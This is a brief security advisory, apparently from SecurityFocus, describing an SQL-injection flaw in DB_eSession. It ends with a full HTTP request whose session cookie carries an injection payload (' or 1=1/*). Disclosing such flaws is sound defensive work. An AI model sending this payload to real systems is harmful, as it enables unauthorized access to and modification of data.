source: https://www.securityfocus.com/bid/16598/info

DB_eSession is prone to an SQL-injection vulnerability. The application fails to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

GET http://www.example.com/index.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0
Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: PHPSESSID=143263645564654563456345634563435%00' or 1=1/*